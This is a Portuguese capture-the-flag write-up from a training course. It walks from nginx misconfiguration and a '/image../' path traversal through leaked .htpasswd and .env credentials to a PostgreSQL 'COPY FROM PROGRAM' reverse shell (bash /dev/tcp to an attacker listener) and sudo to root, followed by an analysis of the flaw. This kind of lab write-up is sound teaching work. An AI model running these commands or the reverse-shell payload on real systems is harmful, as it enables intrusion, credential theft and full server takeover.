CTF: De um Path Traversal ao acesso root

Descubra como vulnerabilidades de Path Traversal funcionam, desde sua origem até o root, com testes práticos com Docker. Um guia direto com teoria, análise de código e exploração real.

DISCLAIMER

No momento da construção desse artigo, não possuo habilidades técnicas avançadas em Pentest Web, portanto, é provável que algum conceito ou técnica seja erroneamente aplicada/explicada. Este desafio fez parte de um curso que eu fiz (Curso de Resposta a Incidentes da RSquad Academy) que era requisito para a conclusão do curso. Durante a resolução do desafio, apliquei meus conhecimentos existentes complementados por pesquisas adicionais. Se você tem conhecimento avançado e encontrou algum erro, por favor, entre em contato comigo para explicar melhor e aplicar a devida correção.

1. Introdução

O presente artigo faz referência a um desafio de Capture The Flag (CTF) na qual o objetivo era identificar e explorar uma vulnerabilidade de Path Traversal. A proposta do desafio envolvia analisar o comportamento de uma aplicação web e, por meio da vulnerabilidade, obter acesso ao servidor e encontrar as flags necessárias.

Path Traversal (também conhecido como Directory Traversal) é uma vulnerabilidade que ocorre quando uma aplicação web não valida adequadamente os caminhos de arquivos fornecidos pelo usuário. Isso permite que um atacante acesse diretórios e arquivos fora da raiz da aplicação web usando sequências como ../ para navegar para diretórios superiores na estrutura de arquivos do servidor.

O impacto desta vulnerabilidade pode variar desde a simples leitura de arquivos locais sensíveis até a execução de códigos arbitrários, dependendo do cenário e das permissões do usuário da aplicação no sistema operacional.

Ao longo deste artigo, veremos:

  • Uma explicação teórica e prática sobre Path Traversal.
  • A diferença técnica entre diretórios /image/../ e /image../ e como isso influencia o comportamento do servidor.
  • Como identificar essa vulnerabilidade durante a análise de uma aplicação.
  • Como simular o ambiente de exploração usando Docker.
  • Análise detalhada das falhas encontradas e suas mitigações.
  • Escalação de privilégios através do PostgreSQL.

Se você está buscando aprender sobre Path Traversal com exemplos reais, análise técnica e uma simulação completa em laboratório local, este artigo é para você.

2. Fase Prática - Resolução do CTF

2.1. Reconhecimento

Ao acessar o IP do desafio http://10.0.1.103/, somos redirecionados automaticamente para http://10.0.1.103/tshirt/, onde encontramos a seguinte página:

Observação: O código-fonte mostrou que as imagens eram carregadas de um diretório chamado /image/. Além disso, um link comentado para /login/ sugeria a existência de uma área restrita.

 1<!DOCTYPE html>
 2<html>
 3<head>
 4    <title>Xtr T-Shirts</title>
 5    <style>
 6.carousel {
 7    width: 100%;
 8    height: 800px;
 9    position: relative;
10    overflow: hidden;
11}
12
13.carousel-image {
14    display: none;
15    position: absolute;
16top: 50%;
17left: 50%;
18transform: translate(-50%, -50%);
19    width: 1024px;
20  height: 800px;
21  object-fit: contain;
22}
23
24a {
25    text-decoration: none;
26    color: blue;
27}
28
29 </style>
30</head>
31<body>
32    <h1 style="text-align: center;">T-Shirts Xtr</h1>
33<div class="carousel">
34    <img class="carousel-image" src="/image/1.jpg">
35    <img class="carousel-image" src="/image/2.jpg">
36    <img class="carousel-image" src="/image/3.jpg">
37    <img class="carousel-image" src="/image/4.jpg">
38</div>
39
40<br><br><br>
41<!-- <a href="/login/">Login</a> -->
42<br>
43<script >
44const carouselImages = document.querySelectorAll('.carousel-image');
45let currentIndex = 0;
46
47function showImage(index) {
48    carouselImages.forEach((image, i) => {
49        if (i === index) {
50            image.style.display = 'block';
51        } else {
52            image.style.display = 'none';
53        }
54    });
55}
56
57function nextImage() {
58    currentIndex++;
59    if (currentIndex >= carouselImages.length) {
60        currentIndex = 0;
61    }
62    showImage(currentIndex);
63}
64
65function previousImage() {
66    currentIndex--;
67    if (currentIndex < 0) {
68        currentIndex = carouselImages.length - 1;
69    }
70    showImage(currentIndex);
71}
72
73document.addEventListener('DOMContentLoaded', () => {
74    showImage(currentIndex);
75    setInterval(nextImage, 5000);
76});
77</script>
78</body>
79</html>

2.2. Tentativa de login

Acessando o diretório /login/, ele solicitava usuário e senha. Tentamos bruteforce com rockyou.txt, credenciais padrões e SQLi, mas sem sucesso.

2.3. Diretório acessível: /image/

Deixando de lado o acesso ao login temporariamente, continuei analisando o código-fonte e descobri que o diretório /image/ permitia listagem de arquivos (Directory Listing), o famoso Index of:

 1<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
 2<html>
 3 <head>
 4  <title>Index of /Chibi</title>
 5 </head>
 6 <body>
 7<h1>Index of /Chibi</h1>
 8<ul><li><a href="/"> Parent Directory</a></li>
 9<li><a href="1.jpg"> 1.jpg</a></li>
10<li><a href="2.jpg"> 2.jpg</a></li>
11<li><a href="3.jpg"> 3.jpg</a></li>
12<li><a href="4.jpg"> 4.jpg</a></li>
13</ul>
14</body></html>

Observação importante: O título mostra Index of /Chibi, revelando que internamente o servidor está servindo conteúdo de um diretório chamado “Chibi”. Esta informação entre o caminho externo /image/ e o interno /Chibi indica uma configuração de proxy reverso ou mapeamento de diretórios.

2.4. Identificando a falha OWASP

Inicialmente eu ignorei a descoberta de alguma possível falha, e foquei no enunciado do Desafio 2, pois estava mais fácil. A dica no enunciado pedia o nome da falha. Cruzando com as categorias da OWASP Top 10 2021, foi fácil obter a resposta.

Com isso, identificamos a resposta do Desafio 2: A05:2021 - Security Misconfiguration

2.5. Enumeração inicial e descoberta do Path Traversal

Suspeitando de uma vulnerabilidade de Path Traversal devido ao Directory Listing e ao mapeamento /image/ para /Chibi, executei um fuzzing no diretório raiz.

 1ffuf -u "http://10.0.1.103/FUZZ" \
 2     -w /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt \
 3     -fc 301
 4
 5
 6        /'___\  /'___\           /'___\       
 7       /\ \__/ /\ \__/  __  __  /\ \__/       
 8       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 9        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
10         \ \_\   \ \_\  \ \____/  \ \_\       
11          \/_/    \/_/   \/___/    \/_/       
12
13       v2.1.0-dev
14________________________________________________
15
16 :: Method           : GET
17 :: URL              : http://10.0.1.103/FUZZ
18 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt
19 :: Follow redirects : false
20 :: Calibration      : false
21 :: Timeout          : 10
22 :: Threads          : 40
23 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
24 :: Filter           : Response status: 301
25________________________________________________
26
27.htpasswd               [Status: 200, Size: 36, Words: 1, Lines: 2, Duration: 81ms]
28login/                  [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 79ms]
29login/admin/admin.asp   [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 79ms]
30login/index             [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 80ms]
31login/login             [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 82ms]
32login/super             [Status: 401, Size: 195, Words: 6, Lines: 8, Duration: 81ms]
33nginx.conf              [Status: 200, Size: 643, Words: 148, Lines: 33, Duration: 79ms]
34:: Progress: [4842/4842] :: Job [1/1] :: 490 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

2.6. Análise dos arquivos descobertos

Pelo fuzzing identificamos 2 documentos, o .htpasswd e o nginx.conf.

Verificando os dois arquivos temos:

1┌──(kali㉿kali)-[~]
2└─$ curl http://10.0.2.164/.htpasswd
3extremer:{PLAIN}AtWorkAreUnbeatable
4  
 1# Configuração default do nginx.conf
 2┌──(kali㉿kali)-[~]
 3└─$ curl http://10.0.2.164/nginx.conf
 4
 5user  nginx;
 6worker_processes  1;
 7
 8error_log  /var/log/nginx/error.log warn;
 9pid        /var/run/nginx.pid;
10
11
12events {
13   worker_connections  1024;
14}
15
16
17http {
18   include       /etc/nginx/mime.types;
19   default_type  application/octet-stream;
20
21   log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
22                     '$status $body_bytes_sent "$http_referer" '
23                     '"$http_user_agent" "$http_x_forwarded_for"';
24
25   access_log  /var/log/nginx/access.log  main;
26
27   sendfile        on;
28   #tcp_nopush     on;
29
30   keepalive_timeout  65;
31
32   #gzip  on;
33
34   include /etc/nginx/conf.d/*.conf;
35}

O arquivo .htpasswd continha credenciais em texto claro e o nginx.conf apenas mostrou que a configuração default do servidor pode ser acessada diretamente da raiz.

2.7. Novas descobertas

Entendendo que o nginx.conf estava exposto e que esse arquivo se trata do arquivo de configuração padrão do servidor, fui enumerar o diretório interno conf.d/ para ver se encontrava alguma outra informação extra:

 1┌──(kali㉿kali)-[~]
 2└─$ ffuf -u "http://10.0.2.107/conf.d/FUZZ" \     
 3   -w /usr/share/wordlists/dirb/common.txt -fc 301 -e .conf
 4
 5      /'___\  /'___\           /'___\       
 6     /\ \__/ /\ \__/  __  __  /\ \__/       
 7     \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 8      \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
 9       \ \_\   \ \_\  \ \____/  \ \_\       
10        \/_/    \/_/   \/___/    \/_/       
11
12     v2.1.0-dev
13________________________________________________
14
15 :: Method           : GET
16 :: URL              : http://10.0.2.107/conf.d/FUZZ
17 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
18 :: Extensions       : .conf 
19 :: Follow redirects : false
20 :: Calibration      : false
21 :: Timeout          : 10
22 :: Threads          : 40
23 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
24 :: Filter           : Response status: 301
25________________________________________________
26
27default.conf            [Status: 200, Size: 492, Words: 152, Lines: 27, Duration: 80ms]
28:: Progress: [9228/9228] :: Job [1/1] :: 495 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
29  
 1┌──(kali㉿kali)-[~]
 2└─$ curl http://10.0.2.107/conf.d/default.conf
 3server {
 4   listen 80;
 5   server_name ~^(.+)$;
 6   root /etc/nginx;
 7
 8   location / {
 9       if (!-f $request_filename) {
10           return 301 /tshirt;
11       }
12       
13   }
14
15   location /tshirt {
16       alias /usr/share/nginx/html/;
17   }
18   
19   location /image {
20       proxy_pass http://apache:80/Chibi/;
21   }
22   
23
24   location /login/ {
25       auth_basic "Authetication Required";
26       auth_basic_user_file /etc/nginx/.htpasswd;
27       alias /usr/share/login/;
28   }
29}

2.8. Sucesso no login e primeira flag

Então, agora podemos realizar o login usando as credenciais que encontramos e ver o que recebemos:

 1┌──(kali㉿kali)-[~]
 2└─$ curl http://extremer:AtWorkAreUnbeatable@10.0.1.33/login/   
 3<!DOCTYPE html>
 4<html>
 5<head>
 6    <title>User Logged In</title>
 7</head>
 8<body>
 9    <h1>Welcome, Extremer!</h1>
10    <p>You are logged in.</p>
11    <h6>Extreme{e4d10d670d0aab07659deec1942d502a}</h6>
12    <p>There are more three flags: local.txt,.env and proof.txt</p>
13</body>
14</html>

Com isso, identificamos a resposta do Desafio 1: Extreme{e4d10d670d0aab07659deec1942d502a}, e ao logar, indica que precisamos encontrar mais 3 flags local.txt, .env e proof.txt.

2.9. Explorando Path Traversal

Voltando ao fuzzing e entendendo que se trata de um path traversal, eu tento o que é comum em testes desse tipo no diretório /image/.

Tentei vários métodos…

1http://10.0.2.164/image/../
2http://10.0.2.164/image/../../
3http://10.0.2.164/image/../../../
4http://10.0.2.164/image/../../../../
5http://10.0.2.164/image/../../../../../
6http://10.0.2.164/image/../../../../../../
7http://10.0.2.164/image/../../../../../../../
8http://10.0.2.164/image/../../../../../../../../
9http://10.0.2.164/image/../../../../../../../../../

E nada funcionava… Daí eu tentei o seguinte e funcionou!

1┌──(kali㉿kali)-[~]
2└─$ curl "http://10.0.1.227/image../"                
3<html><body><h1>It works!</h1></body></html>

Perceba que eu não consegui com o convencional /image/../ mas foi /image../. Eu particularmente nunca tinha visto isso assim, foi a primeira vez.

De posse dessa informação, foi só rodar um fuzzing novamente e encontramos a próxima flag.

 1┌──(kali㉿kali)-[~]
 2└─$ ffuf -u "http://10.0.1.227/image../FUZZ" \
 3     -w /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt \
 4     -fc 301 -fc 403
 5
 6        /'___\  /'___\           /'___\       
 7       /\ \__/ /\ \__/  __  __  /\ \__/       
 8       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 9        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
10         \ \_\   \ \_\  \ \____/  \ \_\       
11          \/_/    \/_/   \/___/    \/_/       
12
13       v2.1.0-dev
14________________________________________________
15
16 :: Method           : GET
17 :: URL              : http://10.0.1.227/image../FUZZ
18 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt
19 :: Follow redirects : false
20 :: Calibration      : false
21 :: Timeout          : 10
22 :: Threads          : 40
23 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
24 :: Filter           : Response status: 403
25________________________________________________
26
27%2e%2e//google.com      [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 83ms]
28.env                    [Status: 200, Size: 180, Words: 1, Lines: 11, Duration: 80ms]
29cgi-bin/test-cgi        [Status: 200, Size: 1261, Words: 150, Lines: 43, Duration: 80ms]
30index.html              [Status: 200, Size: 45, Words: 2, Lines: 2, Duration: 81ms]
31:: Progress: [4842/4842] :: Job [1/1] :: 503 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
 1┌──(kali㉿kali)-[~]
 2└─$ curl "http://10.0.1.227/image../.env"
 3DB_PASSWORD=DontBrotherMe_CrackMeIfYouCan
 4DB_USER=postgres
 5DB_NAME=tshirts
 6DB_HOST=db
 7
 8
 9SERVER_PORT=8080
10SERVER_TIMEOUT=300
11
12FLAG=Extreme{55cb4f883997143ea5946f10c5484295ce93a7b3}

Com isso, identificamos a resposta do Desafio 4: Extreme{55cb4f883997143ea5946f10c5484295ce93a7b3}.

2.10. Continuando a busca por local.txt

Tentei um fuzzing procurando por .txt no /image e não encontrei o arquivo local.txt. Rodei o fuzzing no diretório /tshirt/ pra ver se encontrava alguma coisa .txt e também não encontrei.

Eu testei a lista /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt tanto no diretório /image quanto /tshirt e como não encontrei nada, testei a lista padrão /usr/share/wordlists/dirb/common.txt.

 1┌──(kali㉿kali)-[~]
 2└─$ ffuf -u "http://10.0.1.227/tshirt../FUZZ" \
 3     -w /usr/share/wordlists/dirb/common.txt \
 4     -e .txt -fc 301
 5
 6        /'___\  /'___\           /'___\       
 7       /\ \__/ /\ \__/  __  __  /\ \__/       
 8       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 9        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
10         \ \_\   \ \_\  \ \____/  \ \_\       
11          \/_/    \/_/   \/___/    \/_/       
12
13       v2.1.0-dev
14________________________________________________
15
16 :: Method           : GET
17 :: URL              : http://10.0.1.227/tshirt../FUZZ
18 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
19 :: Extensions       : .txt 
20 :: Follow redirects : false
21 :: Calibration      : false
22 :: Timeout          : 10
23 :: Threads          : 40
24 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
25 :: Filter           : Response status: 301
26________________________________________________
27
28                        [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 81ms]
29local.txt               [Status: 200, Size: 41, Words: 1, Lines: 1, Duration: 81ms]
30:: Progress: [9228/9228] :: Job [1/1] :: 496 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
1┌──(kali㉿kali)-[~]
2└─$ curl "http://10.0.1.227/tshirt../local.txt"
3Extreme{dea108580947e9d18e4f4129550b669c}

Com essa wordlist conseguimos encontrar o arquivo. Com isso, identificamos a resposta do Desafio 3: Extreme{dea108580947e9d18e4f4129550b669c}.

2.11. Escalação de privilégios e última flag

Agora, falta a última flag, que é a proof.txt. Eu pensei em algumas possibilidades dessa flag estar em algum lugar no banco, já que encontramos o login.

De posse do acesso ao banco, tentei explorar fazendo algumas consultas, mas não encontrei nada…

 1┌──(kali㉿kali)-[~]
 2└─$ psql -h 10.0.0.213 -U postgres -d tshirts
 3
 4Password for user postgres: 
 5psql (17.5 (Debian 17.5-1), server 14.8 (Debian 14.8-1.pgdg120+1))
 6Type "help" for help.
 7
 8tshirts=# \dt
 9Did not find any relations.
10tshirts=# SELECT * FROM users;
11ERROR:  relation "users" does not exist
12LINE 1: SELECT * FROM users;
13                      ^
14tshirts=# \dn
15  List of schemas
16  Name  |  Owner   
17--------+----------
18 public | postgres
19(1 row)
20
21tshirts=# SELECT schemaname, tablename
22FROM pg_tables
23WHERE schemaname NOT IN ('pg_catalog', 'information_schema');
24 schemaname | tablename 
25------------+-----------
26(0 rows)
27
28tshirts=# SELECT table_schema, table_name, column_name
29FROM information_schema.columns
30WHERE column_name ILIKE '%flag%'
31   OR column_name ILIKE '%user%'
32   OR column_name ILIKE '%pass%';
33    table_schema    |           table_name            |        column_name         
34--------------------+---------------------------------+----------------------------
35 information_schema | _pg_user_mappings               | umuser
36 pg_catalog         | pg_user_mapping                 | umuser
37 pg_catalog         | pg_roles                        | rolbypassrls
38 pg_catalog         | pg_shadow                       | userepl
39 pg_catalog         | pg_shadow                       | usebypassrls
40 pg_catalog         | pg_user                         | userepl
41 pg_catalog         | pg_user                         | usebypassrls
42 pg_catalog         | pg_available_extension_versions | superuser
43 pg_catalog         | pg_user_mappings                | umuser
44 pg_catalog         | pg_authid                       | rolbypassrls
45 pg_catalog         | pg_user                         | passwd
46 pg_catalog         | pg_hba_file_rules               | user_name
47 pg_catalog         | pg_roles                        | rolpassword
48 information_schema | user_defined_types              | user_defined_type_category
49 pg_catalog         | pg_authid                       | rolpassword
50 information_schema | routines                        | is_user_defined_cast
51 information_schema | user_defined_types              | user_defined_type_schema
52 information_schema | tables                          | user_defined_type_catalog
53 information_schema | tables                          | user_defined_type_schema
54 information_schema | tables                          | user_defined_type_name
55 pg_catalog         | pg_shadow                       | passwd
56 information_schema | user_defined_types              | user_defined_type_name
57 information_schema | user_defined_types              | user_defined_type_catalog
58(23 rows)
59
60tshirts=# SELECT proname
61FROM pg_proc
62WHERE pronamespace NOT IN (
63    SELECT oid FROM pg_namespace
64    WHERE nspname LIKE 'pg_%' OR nspname = 'information_schema'
65);
66 proname 
67---------
68(0 rows)
69
70tshirts=# \ds
71Did not find any relations.
72
73tshirts=#

Eu não vi nada de nada aí nesse banco… aí, meu amigo, meus conhecimentos estavam totalmente limitados com zero! possibilidades de ideias do que fazer… Foi então que, depois de muito tempo, eu pensei numa possibilidade. Eu lembrei que podíamos escalar um shell a partir do banco… e então fui pra internet pesquisar como escalar do banco de dados para um shell, encontrar alguma forma de conseguir isso… Pois num é que eu consegui!

Com a senha em mãos eu acessei o banco, fiz o que tinha que fazer, consegui o shell e parti para o abraço! 🙅🏾‍♂️

1┌──(kali㉿kali)-[~]
2└─$ psql -h 10.0.0.213 -U postgres -d tshirts
3Password for user postgres: 
4psql (17.5 (Debian 17.5-1), server 14.8 (Debian 14.8-1.pgdg120+1))
5Type "help" for help.
6
7tshirts=# CREATE TABLE shell_out(cmd_output text);
8CREATE TABLE
9tshirts=# COPY shell_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.1.0.154/4444 0>&1"';
 1┌──(kali㉿kali)-[~]
 2└─$ nc -lvnp 4444
 3listening on [any] 4444 ...
 4connect to [10.1.0.154] from (UNKNOWN) [10.0.0.213] 47364
 5bash: cannot set terminal process group (112): Inappropriate ioctl for device
 6bash: no job control in this shell
 7postgres@ccebedecc39d:~/data$ id 
 8id
 9uid=999(postgres) gid=999(postgres) groups=999(postgres),27(sudo),101(ssl-cert)
10postgres@ccebedecc39d:~/data$ sudo su
11sudo su
12ls /root/
13proof.txt
14cat proof.txt
15cat: proof.txt: No such file or directory
16cat /root/proof.txt
17Extreme{c4b59fd60e36bb9026a2455021325e1684e83b7e}

E com isso, finalmente identificamos a resposta da nossa última flag! Desafio 5: Extreme{c4b59fd60e36bb9026a2455021325e1684e83b7e}.

2.12. Exploit público

Depois de já ter concluído o CTF com esse método de shell por dentro do banco de dados, foi que eu pensei em procurar algum exploit público. Depois de já ter feito eu encontrei um exploit público para uma CVE-2019-9193. O link para o exploit está nas referências.

3. Análise técnica das falhas, explorações e mitigações

3.1. O que é Path Traversal?

Path Traversal, também conhecido como Directory Traversal, é uma vulnerabilidade que permite ao atacante acessar arquivos ou diretórios fora do diretório raiz da aplicação web. Ela explora a manipulação de caminhos como ../ para voltar níveis na árvore de diretórios.

Exemplo:

  • /view/../../../etc/passwd
  • /download.php?file=../../../home/user/secret.txt

3.2. Por que /image/../ não funcionou, mas /image../ sim?

O comportamento se deve à forma como o Nginx trata as diretivas de location e como o proxy_pass é interpretado. Ver a seção 2.7.

Quando você acessa /image/, essa requisição é repassada para http://apache:80/Chibi/ e o restante do path após o /image é incluso após o /Chibi/, como no caso das imagens.

3.2.1. Porque /image/../ não funcionou?

O que o Nginx faz?

Quando você acessa /image/../, o Nginx normaliza o path, ou seja, ele entende o /image/../ como /, porque o .. significa “voltar um diretório”. Então, a requisição está indo para / e não mais para /image.

O que acontece?

O Nginx não encontra uma location /image, pois o path já foi normalizado como /, então ele usa location /. Como o bloco location / não tem proxy_pass, o Nginx mesmo responde como HTTP 301 (Redirect) para /tshirt (ver o arquivo de default.confna seção 2.7). Como resultado, o /image/../ é interceptado e redirecionado pelo próprio Nginx, sem chegar no servidor interno que nesse caso é o Apache.

Basicamente o servidor internamente está interpretando assim:

  • Se /image/ então internamente vai ser http://apache:80/Chibi/. Aqui é listado o diretório Index of.
  • Se /image/1.jpg então internamente vai ser http://apache:80/Chibi/1.jpg.
  • Se /image/../ então internamente vai ser http://apache:80. Pois ele tá voltando um diretório e como nesse caso ele tem um location /, ele faz o redirecionamento para /tshirt.

Veja o header da requisição:

 1┌──(kali㉿kali)-[~]
 2└─$ curl -v http://10.0.2.107/image/../
 3*   Trying 10.0.2.107:80...
 4* Connected to 10.0.2.107 (10.0.2.107) port 80
 5* using HTTP/1.x
 6> GET / HTTP/1.1
 7> Host: 10.0.2.107
 8> User-Agent: curl/8.14.1
 9> Accept: */*
10> 
11* Request completely sent off
12< HTTP/1.1 301 Moved Permanently
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 17:43:54 GMT
15< Content-Type: text/html
16< Content-Length: 185
17< Location: http://10.0.2.107/tshirt
18< Connection: keep-alive
19< 
20<html>
21<head><title>301 Moved Permanently</title></head>
22<body bgcolor="white">
23<center><h1>301 Moved Permanently</h1></center>
24<hr><center>nginx/1.13.0</center>
25</body>
26</html>
27* Connection #0 to host 10.0.2.107 left intact

3.2.2. Porque /image../ funcionou?

O que o Nginx faz?

Quando você acessa /image../, o Nginx não interpreta isso como um diretório real e não realiza nenhuma normalização de path como ocorre no /image/../. O /image../ é considerado um nome literal de URI, onde o .. não está separado por / como parte de um caminho de diretório, portanto não aciona o mecanismo de normalização do Nginx. O Nginx ainda faz match com a diretiva location /image, pois /image../ começa com /image. Isso é diferente do que foi explicado anteriormente, não há falha no matching, mas sim um matching bem-sucedido.

O que acontece?

Como o Nginx identifica que /image../ faz match com location /image, ele aplica o proxy_pass configurado:

1location /image {
2    proxy_pass http://apache:80/Chibi/;
3}

O Nginx encaminha a requisição para http://apache:80/Chibi/ e anexa o restante do path após /image, que no caso é ... Então a requisição que chega ao Apache é para /Chibi/...

O que o Apache faz?

O Apache, ao receber a requisição para /Chibi/.., normaliza esse path. Como .. significa “voltar um diretório”, o Apache interpreta /Chibi/.. como /.

Por isso, quando executamos curl http://10.0.2.107/image../, vemos a resposta <html><body><h1>It works!</h1></body></html>, que é a página padrão do Apache para a raiz do site.

Veja o header da requisição:

 1┌──(kali㉿kali)-[~]
 2└─$ curl -v http://10.0.2.107/image../
 3*   Trying 10.0.2.107:80...
 4* Connected to 10.0.2.107 (10.0.2.107) port 80
 5* using HTTP/1.x
 6> GET /image../ HTTP/1.1
 7> Host: 10.0.2.107
 8> User-Agent: curl/8.14.1
 9> Accept: */*
10> 
11* Request completely sent off
12< HTTP/1.1 200 OK
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 17:42:59 GMT
15< Content-Type: text/html
16< Content-Length: 45
17< Connection: keep-alive
18< Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
19< ETag: "2d-432a5e4a73a80"
20< Accept-Ranges: bytes
21< 
22<html><body><h1>It works!</h1></body></html>
23* Connection #0 to host 10.0.2.107 left intact

Por que isso funcionou?

O comportamento pode ser confirmado testando outros caminhos similares:

 1┌──(kali㉿kali)-[~]
 2└─$ curl -v http://10.0.2.107/test../
 3*   Trying 10.0.2.107:80...
 4* Connected to 10.0.2.107 (10.0.2.107) port 80
 5* using HTTP/1.x
 6> GET /test../ HTTP/1.1
 7> Host: 10.0.2.107
 8> User-Agent: curl/8.14.1
 9> Accept: */*
10> 
11* Request completely sent off
12< HTTP/1.1 301 Moved Permanently
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:23:55 GMT
15< Content-Type: text/html
16< Content-Length: 185
17< Location: http://10.0.2.107/tshirt
18< Connection: keep-alive
19< 
20<html>
21<head><title>301 Moved Permanently</title></head>
22<body bgcolor="white">
23<center><h1>301 Moved Permanently</h1></center>
24<hr><center>nginx/1.13.0</center>
25</body>
26</html>
27* Connection #0 to host 10.0.2.107 left intact
 1┌──(kali㉿kali)-[~]
 2└─$ curl -v http://10.0.2.107/qualquer-coisa../
 3*   Trying 10.0.2.107:80...
 4* Connected to 10.0.2.107 (10.0.2.107) port 80
 5* using HTTP/1.x
 6> GET /qualquer-coisa../ HTTP/1.1
 7> Host: 10.0.2.107
 8> User-Agent: curl/8.14.1
 9> Accept: */*
10> 
11* Request completely sent off
12< HTTP/1.1 301 Moved Permanently
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:26:12 GMT
15< Content-Type: text/html
16< Content-Length: 185
17< Location: http://10.0.2.107/tshirt
18< Connection: keep-alive
19< 
20<html>
21<head><title>301 Moved Permanently</title></head>
22<body bgcolor="white">
23<center><h1>301 Moved Permanently</h1></center>
24<hr><center>nginx/1.13.0</center>
25</body>
26</html>
27* Connection #0 to host 10.0.2.107 left intact
 1┌──(kali㉿kali)-[~]
 2└─$ curl -v http://10.0.2.107/image./
 3*   Trying 10.0.2.107:80...
 4* Connected to 10.0.2.107 (10.0.2.107) port 80
 5* using HTTP/1.x
 6> GET /image./ HTTP/1.1
 7> Host: 10.0.2.107
 8> User-Agent: curl/8.14.1
 9> Accept: */*
10> 
11* Request completely sent off
12< HTTP/1.1 200 OK
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:26:36 GMT
15< Content-Type: text/html;charset=ISO-8859-1
16< Content-Length: 358
17< Connection: keep-alive
18< 
19<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
20<html>
21 <head>
22  <title>Index of /Chibi</title>
23 </head>
24 <body>
25<h1>Index of /Chibi</h1>
26<ul><li><a href="/"> Parent Directory</a></li>
27<li><a href="1.jpg"> 1.jpg</a></li>
28<li><a href="2.jpg"> 2.jpg</a></li>
29<li><a href="3.jpg"> 3.jpg</a></li>
30<li><a href="4.jpg"> 4.jpg</a></li>
31</ul>
32</body></html>
33* Connection #0 to host 10.0.2.107 left intact
 1┌──(kali㉿kali)-[~]
 2└─$ curl -v http://10.0.2.107/image__
 3*   Trying 10.0.2.107:80...
 4* Connected to 10.0.2.107 (10.0.2.107) port 80
 5* using HTTP/1.x
 6> GET /image__ HTTP/1.1
 7> Host: 10.0.2.107
 8> User-Agent: curl/8.14.1
 9> Accept: */*
10> 
11* Request completely sent off
12< HTTP/1.1 404 Not Found
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:27:09 GMT
15< Content-Type: text/html; charset=iso-8859-1
16< Content-Length: 196
17< Connection: keep-alive
18< 
19<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
20<html><head>
21<title>404 Not Found</title>
22</head><body>
23<h1>Not Found</h1>
24<p>The requested URL was not found on this server.</p>
25</body></html>
26* Connection #0 to host 10.0.2.107 left intact
 1┌──(kali㉿kali)-[~]
 2└─$ curl -v http://10.0.2.107/image.. 
 3*   Trying 10.0.2.107:80...
 4* Connected to 10.0.2.107 (10.0.2.107) port 80
 5* using HTTP/1.x
 6> GET /image.. HTTP/1.1
 7> Host: 10.0.2.107
 8> User-Agent: curl/8.14.1
 9> Accept: */*
10> 
11* Request completely sent off
12< HTTP/1.1 200 OK
13< Server: nginx/1.13.0
14< Date: Fri, 18 Jul 2025 18:27:39 GMT
15< Content-Type: text/html
16< Content-Length: 45
17< Connection: keep-alive
18< Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
19< ETag: "2d-432a5e4a73a80"
20< Accept-Ranges: bytes
21< 
22<html><body><h1>It works!</h1></body></html>
23* Connection #0 to host 10.0.2.107 left intact

Isso confirma que qualquer caminho que comece com /image é direcionado para o location /image e, consequentemente, para o Apache através do proxy_pass.

Resumo do fluxo:

  1. Nginx recebe /image../
  2. Nginx faz match com location /image
  3. Nginx executa proxy_pass para http://apache:80/Chibi/ + ..
  4. Apache recebe requisição para /Chibi/..
  5. Apache normaliza /Chibi/.. para / (raiz)
  6. Apache retorna página padrão: “It works!”

Esse mesmo conceito se aplica para o diretório /tshirt../.

3.3. Conceito de ../../

O path ../ significa “voltar um diretório” na estrutura de arquivos. Quando utilizado em cadeia, ../../ permite navegar para diretórios superiores.

Como funciona na prática:

 1# Estrutura exemplo
 2/var/www/html/
 3├── app/
 4│   ├── images/
 5│   │   ├── photo.jpg
 6│   │   └── thumb/
 7│   │       └── small.jpg
 8│   └── uploads/
 9└── config/
10    └── database.conf
1# Partindo de: /var/www/html/app/images/thumb/
2
3../                    # /var/www/html/app/images/
4../../                 # /var/www/html/app/
5../../../              # /var/www/html/
6../../../../           # /var/www/
7../../../../../        # /var/

